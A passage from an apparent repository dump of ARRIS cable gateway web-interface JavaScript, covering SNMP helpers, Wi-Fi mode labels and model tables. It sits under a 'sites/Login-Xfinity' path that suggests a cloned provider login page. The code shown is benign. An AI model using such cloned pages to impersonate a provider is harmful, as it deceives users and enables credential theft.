getWhenReady(tunnelOid(name)+\".\"+index);\n      if (v === \"\")\n        break;\n      rv += v;\n      index++;\n  }\n    return rv;\n}\n\nfunction tunnelTest() {\n    //parseTunnelData(getFromTunnel(\"AdvConfig\"));\n    //parseTunnelData(getFromTunnel(\"AdvProduct\"));\n    //parseTunnelData(getFromTunnel(\"CMState\"));\n    //parseTunnelData(getFromTunnel(\"EventLog\"));\n    //parseTunnelData(getFromTunnel(\"TouchstoneStatus\"));\n    parseTunnelData(getFromTunnel(\"HWFWVersions\"));\n}\n\nfunction parseTunnelData(d) {\n    $.log(\"parseTunnelData \"+d);\n    var o = {};\n    if (d) {\n        _.each(d.split(\"^\"), function(l) {\n            if (l) {\n                l = l.split(\"|\");\n                $.log(\"->\" + JSON.stringify(l));\n                if (l.length) {\n                    var tag = l[0];\n                    var value = l.length > 1 ? l.splice(1, l.length-1) : \"\";\n                    if (value) {\n                        if (o[tag]) {\n                            o[tag].push(value)\n                        } else {\n                            o[tag] = [value];\n                        }\n                    }\n                }\n            }\n        });\n    }\n    $.log(JSON.stringify(o));\n    o.get = function(s) {\n        try {\n            if (this[s])\n                return this[s][0];\n        } catch(e) {\n            return \"\";\n        }\n    }\n    o.getTable = function(s) {\n        try {\n            if (this[s])\n                return this[s];\n            else return [];\n        } catch(e) {\n            return [];\n        }\n    }\n    o.eachRow = function(s, f) {\n        try {\n            if (this[s])\n                _.each(this[s],f);\n        } catch(e) {\n            return \"\";\n        }\n    }\n    return o;\n}\n\n\n\nfunction validateIpOnSubnet(ip) {\n    var IPAddress = arLanGatewayIp.get(getLan()[0]).replace(/[$ ]/g,\"\");\n    var SubnetMask = arLanSubnetMask.get(getLan()[0]).replace(/[$ ]/g,\"\");\n    var f = hexIp();\n    if (ip.contains(\".\")) {\n        f.validate(ip);\n        ip = f.store(ip).replace(/[$ ]/g,\"\");\n    } else {\n        ip = ip.replace(/[$ ]/g,\"\");\n    }\n    if ((parseInt(ip, 16) & parseInt(SubnetMask,16)) != (parseInt(IPAddress, 16) & parseInt(SubnetMask,16))) {\n        throw xlate(\"Invalid IP Address. Invalid network address.\");\n    }\n}\n\nfunction convertToSnmpHex(s) {\n    var t = s;\n    if (!t.endsWith(\" \"))\n        t += \" \";\n    var reg = /^([0-9A-Fa-f][0-9A-Fa-f] )+$/;\n    if (reg.test(t)) {\n        return \"$\"+t.replace(/ /g,\"\");\n    }\n    return s;\n}\n\n\nfunction IPV6ToOid(v6) {\n    hexIpV6().validate(v6);\n    var hd = hexIpV6().store(v6);\n    if (!hd)\n        throw xlate(\"Invalid IPV6 Address\");\n    hd = hd.replace(\"$\", '');\n    var s = \"\";\n    while (hd.length >= 4) {\n        s = s + parseInt(hd.substr(0, 4),16)+\".\";\n        hd = hd.substr(4);\n    }\n    s = s.substr(0, s.length-1);\n    return s;\n}\n\nfunction oidToIPV6(oid) {\n    var v6 = \"\";\n\n    var grouphasValue = false;\n    if (is852()) {\n        var flag = 0;\n       _.each(oid.split(\".\"), function(s) { \n    \tif (flag == 1) {\n    \t\tvar tmp = parseInt(s).toString(16);\n    \t\tif(tmp.length==1 && parseInt(tmp)!=0){\n    \t\t\ttmp=\"0\"+tmp;\n    \t\t}\n\n            if( grouphasValue == true && parseInt( tmp ) == 0 )\n            {\n                tmp += \"0\";\n                grouphasValue = false;\n            }\n\n    \t\tv6 += tmp +\":\"; \n    \t\tflag = 0;\n    \t} else {\n    \t\tvar tmp = parseInt(s).toString(16);\n    \t\tif(tmp.length==1 && parseInt(tmp)!=0){\n    \t\t\ttmp=\"0\"+tmp;\n    \t\t}\t\n\n            if( parseInt( tmp ) != 0 )\n            {\n                grouphasValue = true;\n            }\n\n    \t\tv6 += tmp; \n    \t\tflag+=1;\n    \t}\n       });\n    } else {\n       _.each(oid.split(\".\"), function(s) { v6 += parseInt(s).toString(16)+\":\"; });\n    }\n\n    var v = v6.substr(0, v6.length-1).toUpperCase();\n    return hexIpV6().normalize(v);\n}\n\nfunction getChannelList() {\n    var country = (snmpGet1(arWiFiCountry.oid+\".0\") || \"\").toLowerCase();\n    var isEurope =  country ? \"eu,at,be,ch,cz,de,dk,ee,ie,el,fr,es,it,cy,lv,lt,lu,hu,mt,nl,pl,pt,ro,gb,gr,hu,ie,si,sk,fi,se,uk\".contains(country) : false;\n    var isJapan = country ==  \"jp\"; \n    if (isJapan)\n        return  [\"0:Auto\", \"1:1\", \"2:2\", \"3:3\", \"4:4\", \"5:5\", \"6:6\", \"7:7\", \"8:8\", \"9:9\", \"10:10\", \"11:11\", \"12:12\", \"13:13\",\"14:14\"];\n    if (isEurope)\n       return [\"0:Auto\", \"1:1\", \"2:2\", \"3:3\", \"4:4\", \"5:5\", \"6:6\", \"7:7\", \"8:8\", \"9:9\", \"10:10\", \"11:11\", \"12:12\", \"13:13\"];\n    return  [\"0:Auto\", \"1:1\", \"2:2\", \"3:3\", \"4:4\", \"5:5\", \"6:6\", \"7:7\", \"8:8\", \"9:9\", \"10:10\", \"11:11\"];\n}\n\nfunction security_encryption(mode, WEPencryptionmode, WPAalgorithm)\n{\n    if(mode == \"0\")\n    {\n        return \"Open\";\n    }\n    else if(mode == \"1\")\n    {\n        if(WEPencryptionmode == \"1\")\n        {\n            return \"WEP64\";\n        }\n        if(WEPencryptionmode == \"2\")\n        {\n            return \"WEP128\";\n        }\n    }\n    else if(mode == \"2\")\n    {\n        if(WPAalgorithm == \"1\")\n        {\n            return \"WPA-PSK(TKIP)\";\n        }\n        else if(WPAalgorithm == \"2\")\n        {\n            return \"WPA-PSK(AES)\";\n        }\n    }\n    else if(mode == \"3\")\n    {\n        if(WPAalgorithm == \"1\")\n        {\n            return \"WPA2-PSK(TKIP)\";\n        }\n        else if(WPAalgorithm == \"2\")\n        {\n            return \"WPA2-PSK(AES)\";\n        }\n        else if(WPAalgorithm == \"3\")\n        {\n            return \"WPA2-PSK(TKIP/AES)\";\n        }\n    }\n    else if(mode == \"7\")\n    {\n        return \"WPAWPA2-PSK(TKIP/AES)\";\n    \t  /*\n        if(WPAalgorithm == \"1\")\n        {\n            return \"WPAWPA2-PSK(TKIP)\";\n        }\n        else if(WPAalgorithm == \"2\")\n        {\n            return \"WPAWPA2-PSK(AES)\";\n        }\n        else if(WPAalgorithm == \"3\")\n        {\n            return \"WPAWPA2-PSK(TKIP/AES)\";\n        }*/\n    }\n    else\n    {\n        return \"NONE\";\n    }\n}\n\nfunction wirelessmode(i) {\n    if (i == \"0\")\n    {\n        return \"Mixed BG\";\n    }\n    else if (i == \"1\")\n    {\n        return \"B Only\";\n    }\n    else if (i == \"4\")\n    {\n        return \"G Only\";\n    }\n    else if (i == \"6\")\n    {\n        return \"N Only\";\n    }\n    else if (i == \"7\")\n    {\n        return \"Mixed GN\";\n    }\n    else if (i == \"9\")\n    {\n        return \"Mixed BGN\";\n    }\n    else\n    {\n        return \"unknown -- \" + i;\n    }\n}\n\nfunction wifi50mode(i) {\n    if(i == \"0\")\n    {\n        return \"Mixed AN\";\n    }\n    else if(i == \"1\")\n    {\n        return \"A Only\";\n    }\n    else if(i == \"4\")\n    {\n        return \"N Only\";\n    }\n    else if(i == \"5\")\n    {\n        return \"Only AC\";\n    }\n    else if(i == \"6\")\n    {\n        return \"Mixed ACN\";\n    }\n    else if(i == \"7\")\n    {\n        return \"Mixed ACNA\";\n    }\n    else\n    {\n        return \"unknown -- \" + i;\n    }\n}\n\nfunction getWiFiIndex(band, SSID)\n{\n    if(band == \"24\")\n    {\n        if(SSID == \"HOME\" || SSID == \"BSS_1\")\n        {\n            return \"10001\";\n        }\n        else if(SSID == \"BSS_2\")\n        {\n            return \"10002\";\n        }\n        else if(SSID == \"BSS_3\")\n        {\n            return \"10003\";\n        }\n        else if(SSID == \"BSS_4\")\n        {\n            return \"10004\";\n        }\n        else if(SSID == \"BSS_5\")\n        {\n            return \"10005\";\n        }\n        else if(SSID == \"BSS_6\")\n        {\n            return \"10006\";\n        }\n        else if(SSID == \"BSS_7\")\n        {\n            return \"10007\";\n        }\n        else if(SSID == \"BSS_8\")\n        {\n            return \"10008\";\n        }\n        else if(SSID == \"BSS_9\")\n        {\n            return \"10009\";\n        }\n        else if(SSID == \"BSS_10\")\n        {\n            return \"10010\";\n        }\n        else if(SSID == \"BSS_11\")\n        {\n            return \"10011\";\n        }\n        else if(SSID == \"BSS_12\")\n        {\n            return \"10012\";\n        }\n        else if(SSID == \"BSS_13\")\n        {\n            return \"10013\";\n        }\n        else if(SSID == \"BSS_14\")\n        {\n            return \"10014\";\n        }\n        else if(SSID == \"BSS_15\")\n        {\n            return \"10015\";\n        }\n        else if(SSID == \"BSS_16\")\n        {\n            return \"10016\";\n        }\n    }\n    else if(band == \"50\")\n    {\n        if(SSID == \"HOME\" || SSID == \"BSS_1\")\n        {\n            return \"10101\";\n        }\n        else if(SSID == \"BSS_2\")\n        {\n            return \"10102\";\n        }\n        else if(SSID == \"BSS_3\")\n        {\n            return \"10103\";\n        }\n        else if(SSID == \"BSS_4\")\n        {\n            return \"10104\";\n        }\n        else if(SSID == \"BSS_5\")\n        {\n            return \"10105\";\n        }\n        else if(SSID == \"BSS_6\")\n        {\n            return \"10106\";\n        }\n        else if(SSID == \"BSS_7\")\n        {\n            return \"10107\";\n        }\n        else if(SSID == \"BSS_8\")\n        {\n            return \"10108\";\n        }\n        else if(SSID == \"BSS_9\")\n        {\n            return \"10109\";\n        }\n        else if(SSID == \"BSS_10\")\n        {\n            return \"10110\";\n        }\n        else if(SSID == \"BSS_11\")\n        {\n            return \"10111\";\n        }\n        else if(SSID == \"BSS_12\")\n        {\n            return \"10112\";\n        }\n        else if(SSID == \"BSS_13\")\n        {\n            return \"10113\";\n        }\n        else if(SSID == \"BSS_14\")\n        {\n            return \"10114\";\n        }\n        else if(SSID == \"BSS_15\")\n        {\n            return \"10115\";\n        }\n        else if(SSID == \"BSS_16\")\n        {\n            return \"10116\";\n        }\n    }\n}\n\nfunction Parse_Page_Name( org_url )\n{\n    return org_url.substring(org_url.lastIndexOf('/')+1);\n}\n\nfunction Waiting_Setting_And_Redirect( url )\n{\n    window.location = \"waiting_loading.php?\" + url;\n}\n\n\n/*\nfunction convertCmtStr(str)\n{\n\tvar ret;\n\tvar str_new =\"\";\n\tvar i = 0;\t\n\n\tvar num = 0;\n\n\tfor(i = 0; i<str.length; i++)\n\t{\n\t\tif((str.charAt(i) == '%') && (str.length >= (i+3)))\n\t\t{\n\t\t\tnum = parseInt((str.charAt(i+1)), 16) * 16 + parseInt((str.charAt(i+2)), 16);\n\t\t\tif(isNaN(num))\n\t\t\t{\n\t\t\t\tstr_new += str.charAt(i);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tret = String.fromCharCode(num);\n\t\t\t\ti = i+2;\n\t\t\t\tstr_new += ret;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstr_new += str.charAt(i);\n\t\t}\n\t}\n\n\treturn str_new;\n}\n*/\n// todo: add change password for suddenlink\n// todo: make sure tabs from mg gets moved over?"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/base_95x.js",
    "content": "//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved.\nvar attrs = {\n    //Model:\"GW\",\n    Family:\"950\",\n    //Model:\"852\",\n    CLASSICCM:true,\n    MOCA:false,\n    IPV6:true,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n}\n    // todo: put in snmp check for no data returned\n\nvar attrs_TG852G = {\n    Model:\"TG852G\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:false,\n    IPV6:true,\n    Battery: true,\n    Wifi: 1,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_TG862G = {\n    Model:\"TG862G\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:false,\n    IPV6:true,\n    Battery: true,\n    Wifi: 1,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_TG1642 = {\n    Model:\"TG1642\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:false,\n    IPV6:true,\n    Battery: true,\n    Wifi: 1,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_DG1670 = {\n    Model:\"DG1670\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:true,\n    IPV6:true,\n    Battery: false,\n    Wifi: 2,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_TG1672 = {\n    Model:\"TG1672\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:true,\n    IPV6:true,\n    Battery: false,\n    Wifi: 2,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_TG1682 = {\n    Model:\"TG1682\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:true,\n    IPV6:true,\n    Battery: true,\n    Wifi: 2,\n    Dect: true,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_MG2402 = {\n    Model:\"MG2402\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:true,\n    IPV6:true,\n    Battery: true,\n    Wifi: 2,\n    Dect: true,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_OG1600 = {\n    Model:\"OG1600A\",\n    Family:\"950\",\n    CLASSICCM:true,\n    MOCA:false,\n    IPV6:true,\n    Battery: false,\n    Wifi: 2,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\nvar attrs_Default = {\n    Model:\"unknown\",\n    Family:\"unknown\",\n    CLASSICCM:false,\n    MOCA:true,\n    IPV6:true,\n    Battery: true,\n    Wifi: 2,\n    Dect: false,\n    Languages:[\"English:English\", \"Spanish:Spanish\", \"French:French\", \"German:German\",\"Portuguese:Portuguese\"]\n};\n\n\nvar g_ModelName = \"\";\nvar g_UserName = \"\";\nvar g_attrTable = {};\n// UNIHAN ADD START\nvar CAN_NOT_SET_CRED = \"can_not_login\";\n// UNIHAN ADD END\nfunction uh_attrTable_init()\n{\n\t//g_ModelName = mib2system.sysName.get();\n\t//reduce loading time\n        g_ModelName=readCookie(\"sysDescrModelName\");\n\tg_UserName = userName();\n\n\t/*switch (g_ModelName)\n\t{\n\t\tcase \"TG862G\": g_attrTable = attrs_TG862G; break;\n\t\tcase \"TG1642\": g_attrTable = attrs_TG1642; break;\n\t\tcase \"DG1670\": g_attrTable = attrs_DG1670; break;\n\t\tcase \"TG1672\": g_attrTable = attrs_TG1672; break;\n\t\tcase \"TG1682\": g_attrTable = attrs_TG1682; break;\n\t\tcase \"MG2402\": g_attrTable = attrs_MG2402; break;\n\t\tdefault: g_attrTable = attrs_Default; break;\n\t}*/\n\tif (g_ModelName.search(\"TG862\")!=-1)\n\t{\n\t         g_attrTable = attrs_TG862G;\n\t}\n        else if (g_ModelName.search(\"TG852\")!=-1)\n        {\n                 g_attrTable = attrs_TG852G;\n        }\n\telse if (g_ModelName.search(\"TG1642\")!=-1)\n\t{\n\t         g_attrTable = attrs_TG1642;\n\t}\n\telse if (g_ModelName.search(\"DG1670\")!=-1)\n\t{\n\t         g_attrTable = attrs_DG1670;\n\t}\n\telse if (g_ModelName.search(\"TG1672\")!=-1)\n\t{\n\t         g_attrTable = attrs_TG1672;\n\t}\n\telse if (g_ModelName.search(\"TG1682\")!=-1)\n\t{\n\t         g_attrTable = attrs_TG1682;\n\t}\n\telse if (g_ModelName.search(\"MG2402\")!=-1)\n\t{\n\t         g_attrTable = attrs_MG2402;\n\t}\n    else if (g_ModelName.search(\"OG1600A\")!=-1)\n    {\n             g_attrTable = attrs_OG1600;\n    }\n\telse\n\t{\n\t         g_attrTable = attrs_Default;\n\t}\t\n}\nfunction uh_getModel()\n{\n\treturn g_attrTable[\"Model\"];\n}\nfunction uh_hasBattery()\n{\n\treturn true==g_attrTable[\"Battery\"];\n}\nfunction uh_hasWifi()\n{\n\tif (g_attrTable[\"Wifi\"]>0)\n\t{\n\t        return g_attrTable[\"Wifi\"];\n\t}\n\telse\n\t{\t \n\t\treturn false;\n\t}\n}\nfunction uh_hasMoca()\n{\n\treturn true==g_attrTable[\"MOCA\"];\n}\nfunction uh_hasDect()\n{\n\treturn true==g_attrTable[\"Dect\"];\n}\n\nfunction encode(o) {\n    o = \"\" + o;\n    /* encode \"%\" was switched \"%2525\"  */\t\n    //o = o.replace(/%/g, \"%25\");\n    o = encodeURIComponent(o);\n    o = o.replace(/;/g, \"%3B\");\n    o = o.replace(/,/g, \"%2C\");\n    return o;\n}\nfunction getAttr(name) {\n    return attrs[name] || \"\";\n}\nfunction isMG() {\n    return attrs[\"Family\"] == \"MG\";\n}\nfunction is852() {\n    return attrs[\"Family\"] == \"852\";\n}\nfunction is95x() {\n    return attrs[\"Family\"] == \"950\";\n}\nfunction isIPV6() {\n    return attrs[\"IPV6\"];\n}\nfunction getLanguages() {\n    return attrs[\"Languages\"];\n}\nfunction userName() {\n    return attrs[\"Name\"] || \"\";\n}\nfunction isTechnician() {\n    return isLoggedIn() && (isMG() || attrs[\"Technician\"]);\n}\nfunction isLoggedIn() {\n    if (!attrs[\"Credential\"]) {\n        attrs[\"Credential\"] = readCookie(\"credential\");\n        if (attrs[\"Credential\"]) {\n            var o = Base64.decode(attrs[\"Credential\"]);\n            o = JSON.parse(o);\n            attrs[\"Family\"] = o[\"family\"];\n            attrs[\"Technician\"] = o[\"tech\"];\n            attrs[\"Name\"] = o[\"name\"];\n        }\n    }\n    return attrs[\"Credential\"];\n}\nvar hooks = {\n    buildSetURL:function (oid, value, type) {\n        var url = \"snmpSet?oid=\" + oid + \"=\" + encode(value) + \";\" + type + \";\";\n        return url;\n    },\n    buildGetURL:function (oida) {\n        var url = \"snmpGet?oids=\" + _.reduce(oida, function (acc, oid) {\n            return acc + encode(oid) + \";\";\n        }, \"\");\n        return url;\n    },\n    buildMultiGetURL:function (oida) {\n            var url = \"snmpGet?oids=\" +oida+\";\"; //Get Data typeless\n        return url;\n    },\n    buildWalkURL:function (oida) {\n        var url = \"walk?oids=\" + _.reduce(oida, function (acc, oid) {\n            return acc + encode(oid) + \";\";\n        }, \"\");\n        return url;\n    },\n    buildMultiWalkURL:function (oida) {\n        var url = \"walk?oids=\" + oida;\n        return url;\n    },\n    postProcess:function (json) {\n        return json;\n    }\n};\n\nfunction snmpSet1(oid, value, type) {\n/*\n//ASN.1 basic types, all in UNIVERSAL scope \n#define A_NO_ID             0x00\n#define A_BOOLEAN           0x01\n#define A_INTEGER           0x02\n#define A_BITSTRING         0x03\n#define A_OCTETSTRING       0x04\n#define A_NULL              0x05\n#define A_OBJECTID\t    \t\t0x06\n#define A_SEQUENCE          0x10\n#define A_SET               0x11\n#define A_APPLICATION       0x40\n\n#define\tVT_NUMBER\t\t\tA_INTEGER\n#define\tVT_STRING\t\t\tA_OCTETSTRING\n#define VT_BITS\t\t\t\tA_OCTETSTRING\t\t// same as a string\n#define\tVT_OBJECT\t\t\tA_OBJECTID\n#define\tVT_EMPTY\t\t\tA_NULL\n#define\tVT_IPADDRESS\t(A_APPLICATION | 0)\n#define\tVT_COUNTER\t\t(A_APPLICATION | 1)\n#define\tVT_GAUGE\t\t\t(A_APPLICATION | 2)\n#define\tVT_UNSIGNED32\t(A_APPLICATION | 2)\t// same as a guage\n#define\tVT_TIMETICKS\t(A_APPLICATION | 3)\n#define\tVT_OPAQUE\t\t\t(A_APPLICATION | 4)\n#define\tVT_COUNTER64\t(A_APPLICATION | 6)\n#define VT_UINTEGER32\t(A_APPLICATION | 7)\n*/\n    //  value = encodeHack(value);\n    var url = hooks.buildSetURL(oid, value, type); //\"snmpSet?oid=\" + oid + \"=\" + encode(value) + \";\" + type + \";\";\n    //$.log(\"set \" + decodeOid(oid) + \"=\" + value);\n    if (window.console) console.log(\"set \" + decodeOid(oid) + \"=\" + value);\n    //$.log(url);\n    if (window.console) console.log(url);\n    var rv = \"fail\";\n    baseAjax({\n        url:url,\n\ttimeout:9000,\n        success:function (result) {\n            rv = result;\n        },\n        error:function (jqXHR, textStatus, errorThrown) {\n            if (jqXHR.status == 401) {\n                logout(false);\n                rv = \"unauthorized\";\n    window.location.href=\"index.php\";\n    return;\n            }\n        },\n        //           dataType : \"json\",\n        async:false,\n        cache:false\n    });\n\n    if (rv == \"unauthorized\")\n        throw \"unauthorized\";\n    if (rv == \"fail\" && shouldVerify(oid, value))\n        throw \"Unexpected Error\";//xlate(\"Unexpected Error\");\n    //$.log(\">>\" + JSON.stringify(rv));\n    if (window.console) console.log(\">>\" + JSON.stringify(rv));\n    return rv;\n}\n\n\nfunction shouldVerify(oid, val) {\n   // if (isMG())\n   //     return false;  // GW snmp is a little screwy so skip for now\n\n    if (oid.startsWith(arLanClientType.oid + \".\")) // 950 bug\n        return false;\n\n    if (oid.startsWith(arApplyAllSettings.oid + \".\"))\n        return true; //was false;\n    if (oid.startsWith(arWpsSTAPin.oid + \".\"))\n        return false;\n    if (oid.startsWith(arWpsPushButton.oid + \".\"))\n        return false;\n    if (oid.startsWith(arCurrentTime.oid + \".\"))\n        return false;\n    if (oid.startsWith(arEmailApplySettings.oid + \".\"))\n        return false;\n    if (oid.startsWith(arClearLogs.oid + \".\"))\n        return false;\n    if (oid.startsWith(arReboot.oid + \".\"))\n        return false;\n    if (oid.startsWith(arClearMSOLogs.oid + \".\"))\n        return false;\n    if (oid.startsWith(arEmailApplySettings.oid + \".\"))\n        return false;\n    if (oid.startsWith(arApplySNTPSettings.oid + \".\"))\n        return false;\n    if (oid.startsWith(arDefaults.oid + \".\"))\n        return false;\n    if (oid.startsWith(SNTPServerTable.oid + \".\"))\n        return false;\n    if (oidIsRowStatus(oid) && val != 1)\n        return false;\n    return true;\n}\n\n\nfunction snmpSet1Async(oid, value, type, func) {\n    //  value = encodeHack(value);\n    var url = hooks.buildSetURL(oid, value, type); //\"snmpSet?oid=\" + oid + \"=\" + encode(value) + \";\" + type + \";\";\n    //$.log(\"setasync \" + decodeOid(oid) + \"=\" + value);\n    if (window.console) console.log(\"setasync \" + decodeOid(oid) + \"=\" + value);\n    //$.log(url);\n    if (window.console) console.log(url);\n\n    baseAjax({\n        url:url,\n        success:function (result) {\n            if (func) func(true);\n        },\n        error:function (jqXHR, textStatus, errorThrown) {\n            if (func) func(false);\n        },\n//        error: function(jqXHR, textStatus, errorThrown) {\n//            alert(\"text:{An error has occured.  Your changes may have not been applied.  Please refresh this page and verify the changes you expect.}\");\n//            throw \"\";\n//        },\n        //           dataType : \"json\",\n        async:true,\n        cache:false\n    });\n}\n\n\nfunction snmpGet1(oid) {\n    try {\n        var url = hooks.buildGetURL([oid]); //\"snmpGet?oids=\" + encode(oid) + \";\";\n        //var url = \"walk?oids=\" + encodeURI(oid + \";\");\n        //$.log(url);\n        var rv = \"\";\n        baseAjax({\n            url:url,\n\ttimeout:9000,\n            success:function (result) {\n                //$.log(\"get result \" + result);\n                if (window.console) console.log(\"get result \" + result);\n                rv = result;\n            },\n            error:function (jqXHR, textStatus, errorThrown) {\n                logout(false);\n                rv = \"unauthorized\";\n    window.location.href=\"index.php\";\n    return;\n            },\n            dataType:\"text\",\n            async:false,\n            cache:false\n        });\n        // strip of any crap on front for sercomm bug\n        //  if (rv && (typeof rv == 'string')) {\n        //      while (rv.length !== 0 && rv.charAt(0) != '{' && rv.charAt(0) != '[') {\n        //         rv = rv.substr(1);\n        //     }\n        //     rv = rv.replace(\",\", \"\");\n        // }\n\n        //$.log(\"pre-parse\" + rv);\n        if (window.console) console.log(\"pre-parse\" + rv);\n        var rrv = JSON.parse(rv);\n        //$.log(\"\" + rrv);\n        if (window.console) console.log(\"\" + rrv);\n        rrv = hooks.postProcess(rrv);\n        //$.log(\">>\" + JSON.stringify(rrv));\n        if (window.console) console.log(\">>\" + JSON.stringify(rrv));\n        if (rrv && rrv[oid])\n            rrv = rrv[oid];\n        else rrv = \"\";\n        //return decodeHack(rv);\n        return rrv;\n    } catch (e) {\n        //$.log(\"snmp get error \" + e);\n        if (window.console) console.log(\"snmp get error \" + e);\n        return \"\";\n    }\n}\n\n\nfunction xxxcompare(a, b) {\n    a = \"\" + a;\n    b = \"\" + b;\n    if (a.startsWith(\"$\"))\n        a = a.replace(/ /g, \"\");\n    if (b.startsWith(\"$\"))\n        b = b.replace(/ /g, \"\");\n    if (a.startsWith(\"$\") && !b.startsWith(\"$\")) {\n        if (canConvertToASCII(a))\n            a = convertHexStringToASCIIString(a)\n    } else if (b.startsWith(\"$\") && !a.startsWith(\"$\")) {\n        if (canConvertToASCII(b))\n            b = convertHexStringToASCIIString(b)\n    }\n    if (a.length === 0 && b === \"$00000000\") {\n        return true;\n    }\n    if (a.startsWith(\"$\") && b.startsWith(\"$\")) {\n        return a.toUpperCase() == b.toUpperCase();\n    }\n    return a == b;\n}\n\nvar canCloseWaitDialog = false;\nfunction openWaitDialog() {\n    canCloseWaitDialog = false;\n    $(\"#wait-dialog\").dialog(\n        { autoOpen:false,\n            height:80,\n            width:250,\n            resizable:false,\n            title:\"Please Wait\",\n            beforeClose:function () {\n                return canCloseWaitDialog;\n            }\n        });\n    prepareDialog(\"wait-dialog\");\n    $(\"#wait-dialog\").dialog(\"open\");\n}\n\nfunction closeWaitDialog() {\n    canCloseWaitDialog = true;\n    $(\"#wait-dialog\").dialog(\"close\");\n}\n\n\nfunction doApplyAndRebootAsync(applyNeeded, rebootNeeded, refreshNeeded) {\n    var canCloseWaitDialog = false;\n    var busyDialogNeeded = true;\n\n    function openWaitDialog() {\n        if (!busyDialogNeeded)\n            return;\n        canCloseWaitDialog = false;\n        $(\"#wait-dialog\").dialog(\n            { autoOpen:false,\n                height:80,\n                width:250,\n                resizable:false,\n                title:\"Please Wait\",\n                beforeClose:function () {\n                    return canCloseWaitDialog;\n                }\n            });\n        prepareDialog(\"wait-dialog\");\n        $(\"#wait-dialog\").dialog(\"open\");\n    }\n\n    function closeWaitDialog() {\n        busyDialogNeeded = false;\n        canCloseWaitDialog = true;\n        $(\"#wait-dialog\").dialog(\"close\");\n    }\n\n    function start() {\n        if (applyNeeded)\n            snmpSet1Async(arApplyAllSettings.oid + \".0\", \"1\", \"2\", applyDone);\n        else applyDone(true);\n    }\n\n    function applyDone(ok) {\n        if (rebootNeeded)\n            snmpSet1Async(arReboot.oid + \".0\", \"1\", \"2\", rebootDone);\n        else rebootDone(true);\n    }\n\n    function rebootDone(ok) {\n        closeWaitDialog();\n        if (refreshNeeded)\n            refresh();\n    }\n\n    setTimeout(openWaitDialog, 2);\n    start();\n}\n\n\n// sa [ string... ]\nfunction snmpGet(sa) {\n    try {\n        var url = hooks.buildGetURL(sa);\n        var rv = \"\";\n        baseAjax({\n            url:url,\n\ttimeout:9000, \n            success:function (result) {\n                rv = result;\n            },\n            error:function (jqXHR, textStatus, errorThrown) {\n                logout(false);\n                rv = \"unauthorized\";\n    window.location.href=\"index.php\";\n    return;\n            },\n            dataType:\"json\",\n            async:false,\n            cache:false\n\n        });\n        rv = hooks.postProcess(rv);\n        //$.log(rv);\n        if (window.console) console.log(rv);\n        return rv;\n    } catch (e) {\n        //$.log(\"snmpGet caught \" + e);\n        if (window.console) console.log(\"snmpGet caught \" + e);\n        return { };\n    }\n}\n\n// sa [ string... ]\nfunction snmpMultiGet(sa) {\n    try {\n        var url = hooks.buildMultiGetURL(sa);\n        var rv = \"\";\n        baseAjax({\n            url:url,\n\ttimeout:9000, \n            success:function (result) {\n                rv = result;\n            },\n            error:function (jqXHR, textStatus, errorThrown) {\n                logout(false);\n                rv = \"unauthorized\";\n    window.location.href=\"index.php\";\n    return;\n            },\n            dataType:\"json\",\n            async:false,\n            cache:false\n\n        });\n        rv = hooks.postProcess(rv);\n        //$.log(rv);\n        if (window.console) console.log(rv);\n        return rv;\n    } catch (e) {\n        //$.log(\"snmpGet caught \" + e);\n        if (window.console) console.log(\"snmpGet caught \" + e);\n        return { };\n    }\n}\n\n// sa [ string... ]\n\nfunction snmpWalk(sa) {\n    try {\n        var url = hooks.buildWalkURL(sa);\n        var rv = \"\";\n        baseAjax({\n            url:url,\n\ttimeout:9000, \n            success:function (result) {\n                rv = result;\n                //                _.each(_.keys(rv), function(k) {\n                //                    var dv = encodeHack(rv[k]);\n                //                   rv[k] = dv;\n                //                });\n            },\n            error:function (jqXHR, textStatus, errorThrown) {\n                logout(false);\n                rv = \"unauthorized\";\n    window.location.href=\"index.php\";\n    return;\n            },\n            dataType:\"json\",\n            async:false,\n            cache:false\n\n        });\n        //$.log(rv);\n        if (window.console) console.log(rv);\n        rv = hooks.postProcess(rv);\n        return rv;\n    } catch (e) {\n        //$.log(\"snmpWalk caught \" + e);\n        if (window.console) console.log(\"snmpWalk caught \" + e);\n        return { };\n    }\n} \n\n\n// sa [ string... ]\n\nfunction snmpMultiWalk(sa) {\n    try {\n        var url = hooks.buildMultiWalkURL(sa);\n        var rv = \"\";\n        baseAjax({\n            url:url,\n            success:function (result) {\n                rv = result;\n                //                _.each(_.keys(rv), function(k) {\n                //                    var dv = encodeHack(rv[k]);\n                //                   rv[k] = dv;\n                //                });\n            },\n            error:function (jqXHR, textStatus, 